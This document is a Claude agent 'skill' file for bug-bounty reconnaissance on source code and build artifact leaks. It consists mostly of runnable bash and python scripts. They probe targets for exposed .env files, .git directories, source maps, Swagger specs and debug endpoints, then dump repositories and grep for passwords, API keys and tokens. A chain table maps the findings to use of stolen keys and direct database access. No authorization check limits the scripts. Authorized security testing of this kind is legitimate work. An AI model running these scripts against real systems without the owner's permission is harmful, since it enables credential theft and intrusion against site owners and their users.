Hunt Source Leak Skill for Claude

Hunt source code and build artifact leakage — JavaScript source maps (.js.map) reconstructing TypeScript/ES6 source, Swagger/OpenAPI JSON endpoint discovery, .env/.git exposure, webpack chunks with hardcoded secrets, robots.txt/security.txt recon, build-info files, asset-manifest.json API route discovery, .DS_Store file listing. Use at the START of every recon session — these findings often unlock the entire attack surface.

HUNT-SOURCE-LEAK — Source Code & Build Artifact Leakage

Crown Jewel Targets

Source map exposing TypeScript source = see all API routes, auth logic, secrets. Swagger/OpenAPI JSON = complete API surface map.

Highest-value findings:

  • .js.map source maps — reconstruct full TypeScript/ES6 source code → find hardcoded API keys, internal endpoints, auth logic bypasses
  • swagger.json / openapi.json — complete REST API specification with all endpoints, parameters, auth schemes, and internal route names
  • .env / .env.production — APP_KEY, DB_PASSWORD, API_KEY, SECRET_KEY in plaintext
  • .git/ exposuregit clone the entire source history → all past hardcoded secrets
  • asset-manifest.json / _next/static/ — all JS bundle paths → systematic source map discovery
  • build-info / info.json — git commit hash, build timestamp, dependency versions → CVE targeting

Phase 1 — Quick Wins (Run First)

# These 10 requests take <30 seconds and often yield Critical findings
for PATH in \
  "/.env" \
  "/.env.production" \
  "/.env.local" \
  "/.git/HEAD" \
  "/swagger.json" \
  "/api/swagger.json" \
  "/v1/swagger.json" \
  "/openapi.json" \
  "/api/openapi.json" \
  "/api-docs"; do
  STATUS=$(curl -s -o /tmp/sl_test -w "%{http_code}" "https://$TARGET$PATH")
  if [ "$STATUS" = "200" ]; then
    echo "[+] HIT: https://$TARGET$PATH"
    head -5 /tmp/sl_test
    echo "---"
  fi
done

Phase 2 — Source Map Discovery

> **Always resolve the CURRENT build hash before testing, and again before

> re-verifying.** Bundle filenames are content-hashed, so they rotate on every

> deploy. A .map URL recorded yesterday can 404 today while the map is still

> fully exposed under a new name. A 404 at the old URL is not remediation

> it is a new build.

>

> `bash

> # ALWAYS derive the hash live, never reuse a recorded URL

> HASH=$(curl -s "https://$TARGET/" | grep -oE 'main\.[a-f0-9]+\.js' | head -1)

> curl -s -o /dev/null -w '%{http_code} %{size_download} %{content_type}\n' \

> "https://$TARGET/static/js/${HASH}.map"

> `

>

> Lesson from an authorized engagement. A large production map was found at

> main.<hashA>.js.map. On re-verification that URL returned a small HTML

> soft-404 and the finding was nearly closed as fixed. The bundle had rotated to

> main.<hashB>.js — and the map was still published at main.<hashB>.js.map,

> same size. Nothing had been remediated.

>

> Tell the client this explicitly in the report: **redeploying does not fix source

> map exposure.** Only GENERATE_SOURCEMAP=false (or stripping .map at deploy)

> plus a CDN purge closes it. A team that redeploys and re-checks the old link

> will wrongly declare victory.

>

> Same rule applies to any content-hashed artifact: chunk files, CSS maps,

> asset-manifest.json, and staging equivalents.

# Step 1: Get asset manifest to find all JS bundle paths
curl -s "https://$TARGET/asset-manifest.json" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/static/js/main.*.js" 2>/dev/null | head -3

# Next.js
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
curl -s "https://$TARGET/_next/static/$BUILD_ID/_buildManifest.js" | head -5

# Step 2: For each JS bundle, check for source map reference at end of file
for JS_URL in $(curl -s https://$TARGET/ | grep -oP 'src="[^"]*\.js"' | sed 's/src="//;s/"//'); do
  LAST_LINE=$(curl -s "https://$TARGET$JS_URL" | tail -1)
  echo "$LAST_LINE" | grep -q "sourceMappingURL" && echo "[+] Source map: $JS_URL"
done

# Step 3: Download and reconstruct source from .map files
JS_URL="https://$TARGET/static/js/main.abc123.js"
MAP_URL="${JS_URL}.map"
curl -s "$MAP_URL" | python3 -c "
import sys, json, os
data = json.load(sys.stdin)
sources = data.get('sources', [])
contents = data.get('sourcesContent', [])
for i, (src, content) in enumerate(zip(sources, contents)):
    if content:
        path = '/tmp/sourcemap_extract/' + src.replace('../','').replace('./',''). replace('webpack://','')
        os.makedirs(os.path.dirname(path), exist_ok=True)
        with open(path, 'w') as f:
            f.write(content)
        print(f'[+] Extracted: {src}')
"

# Step 4: Grep extracted source for secrets
grep -r "API_KEY\|SECRET\|PASSWORD\|TOKEN\|PRIVATE" /tmp/sourcemap_extract/ 2>/dev/null

grep -r "http://internal\|localhost\|127\.0\.0\.1\|10\.\|172\.\|192\.168" /tmp/sourcemap_extract/ 2>/dev/null | head -20

Phase 3 — Swagger / OpenAPI Discovery

# Common paths
SWAGGER_PATHS=(
  "/swagger.json" "/swagger.yaml" "/swagger/"
  "/api/swagger.json" "/api/swagger.yaml"
  "/v1/swagger.json" "/v2/swagger.json" "/v3/swagger.json"
  "/openapi.json" "/openapi.yaml"
  "/api/openapi.json" "/api-docs" "/api-docs.json"
  "/api/v1/swagger.json" "/api/v2/swagger.json"
  "/rest/swagger.json" "/rest/api-docs"
  "/.well-known/openapi.json"
  "/graphql/schema.json"
)

for PATH in "${SWAGGER_PATHS[@]}"; do
  STATUS=$(curl -s -o /tmp/swagger_test -w "%{http_code}" "https://$TARGET$PATH")
  if [ "$STATUS" = "200" ]; then
    echo "[+] Found: https://$TARGET$PATH"
    # Extract all API paths from swagger
    python3 -c "
import sys, json
try:
    d = json.load(open('/tmp/swagger_test'))
    paths = list(d.get('paths', {}).keys())
    print(f'Endpoints: {len(paths)}')
    print('\n'.join(sorted(paths)))
except: pass
" | head -50
  fi
done

Phase 4 — .git Exposure

# Check if .git directory is accessible
curl -s "https://$TARGET/.git/HEAD" | grep -q "ref:" && echo "[+] .git exposed!"

# If exposed, reconstruct repo
# Tool: git-dumper
pip3 install git-dumper
git-dumper "https://$TARGET/.git/" /tmp/dumped-repo/

# Grep for secrets in all git history
cd /tmp/dumped-repo && \
  git log --all --oneline 2>/dev/null | head -20
  git grep -i "password\|secret\|api_key\|token" $(git rev-list --all) 2>/dev/null | head -30

# trufflehog on git history
trufflehog git file:///tmp/dumped-repo/ 2>/dev/null | head -50

Phase 5 — Forgotten Files & Debug Endpoints

# Build artifacts and debug files
DEBUG_PATHS=(
  "/build-info.json" "/build/build-info.json"
  "/info" "/actuator/info" "/api/info"
  "/version" "/api/version" "/_version"
  "/health" "/status" "/ping"
  "/robots.txt" "/security.txt" "/.well-known/security.txt"
  "/sitemap.xml" "/manifest.json" "/browserconfig.xml"
  "/crossdomain.xml" "/clientaccesspolicy.xml"
  "/phpinfo.php" "/info.php" "/test.php"
  "/server-status" "/server-info" "/.htaccess"
  "/web.config" "/applicationHost.config"
  "/WEB-INF/web.xml" "/META-INF/MANIFEST.MF"
  "/package.json" "/composer.json" "/Gemfile"
  "/Dockerfile" "/docker-compose.yml" "/.dockerenv"
)

for PATH in "${DEBUG_PATHS[@]}"; do
  STATUS=$(curl -s -o /tmp/debug_test -w "%{http_code}" "https://$TARGET$PATH")
  if [ "$STATUS" = "200" ]; then
    echo "[+] Found: https://$TARGET$PATH ($STATUS, $(wc -c < /tmp/debug_test) bytes)"
    head -3 /tmp/debug_test
    echo "---"
  fi
done

Phase 6 — .DS_Store File Listing

# .DS_Store files on macOS-deployed web servers reveal directory structure
curl -s "https://$TARGET/.DS_Store" | xxd | head -10

# Parse .DS_Store to extract filenames
pip3 install ds_store
python3 -c "
from ds_store import DSStore
with DSStore.open('/tmp/ds_store_test', 'r') as d:
    for entry in d:
        print(entry.filename)
"

# Recursive .DS_Store enumeration
# Tool: https://github.com/lijiejie/ds_store_exp
python3 ds_store_exp.py "https://$TARGET/"

Phase 7 — webpack Chunk Analysis

# Download and analyze webpack chunks for hardcoded values
# Find chunk files
curl -s https://$TARGET/ | grep -oP '"[^"]*\.chunk\.js"' | tr -d '"' | while read chunk; do
  echo "Analyzing: $chunk"
  curl -s "https://$TARGET$chunk" | \
    grep -oE '"(api_key|apiKey|secret|password|token|key)"\s*:\s*"[^"]+"' | head -5
done

# Also grep for internal hostnames
curl -s "https://$TARGET/static/js/main.*.js" | \
  grep -oE '"(https?://[^"]*internal[^"]*|http://[^"]*localhost[^"]*)"' | sort -u

# Check for Base64-encoded secrets
curl -s "https://$TARGET/static/js/main.*.js" | \
  grep -oP '"[A-Za-z0-9+/]{30,}={0,2}"' | while read b64; do
  DECODED=$(echo "$b64" | tr -d '"' | base64 -d 2>/dev/null)
  echo "$DECODED" | grep -iE "key|secret|password|token" && echo "  B64: $b64"
done

Chain Table

| Source leak finding | Chain to | Impact |

|--------------------|----------|--------|

| Source map with API key | Use key directly → API access | High/Critical |

| Source map with auth logic | Find auth bypass route | Critical |

| Swagger → internal endpoints | Test undocumented admin routes | High |

| .git exposed | Full source history → all past secrets | Critical |

| build-info with git hash | CVE targeting exact version | High |

| .env with DB_PASSWORD | Direct database access | Critical |


Tools

# git-dumper (reconstruct exposed .git)
pip3 install git-dumper
git-dumper "https://target.com/.git/" /tmp/repo/

# sourcemap-explorer (visualize what's in bundles)
npm install -g source-map-explorer
source-map-explorer main.js

# unwebpack-sourcemap (extract all source files)
npm install -g unwebpack-sourcemap

# trufflehog (secret scanning)
trufflehog filesystem /tmp/repo/

Validation

✅ Source map: reconstructed TypeScript source contains API endpoints or hardcoded secrets

✅ Swagger: JSON contains internal endpoints not visible in UI

✅ .git exposed: git-dumper successfully clones repo, secrets in history

✅ .env exposed: DATABASE_URL, API_KEY, SECRET_KEY visible in plaintext

Severity:

  • .env with credentials: Critical
  • .git with secrets in history: Critical
  • Source map with secrets: High
  • Swagger with internal routes: Medium-High
  • robots.txt only: Informational

How to use it

Copy the folder

Take elementalsouls/hunt-source-leak from the repository into ~/.claude/skills for personal use, or into .claude/skills inside a project.

Check the name does not clash

The agent identifies a skill by the name field in its header. Two skills with the same name cannot sit side by side — one of them will be ignored.

Install what it needs

The instructions reference pip, npm. Without those the skill loads but fails at the first command.
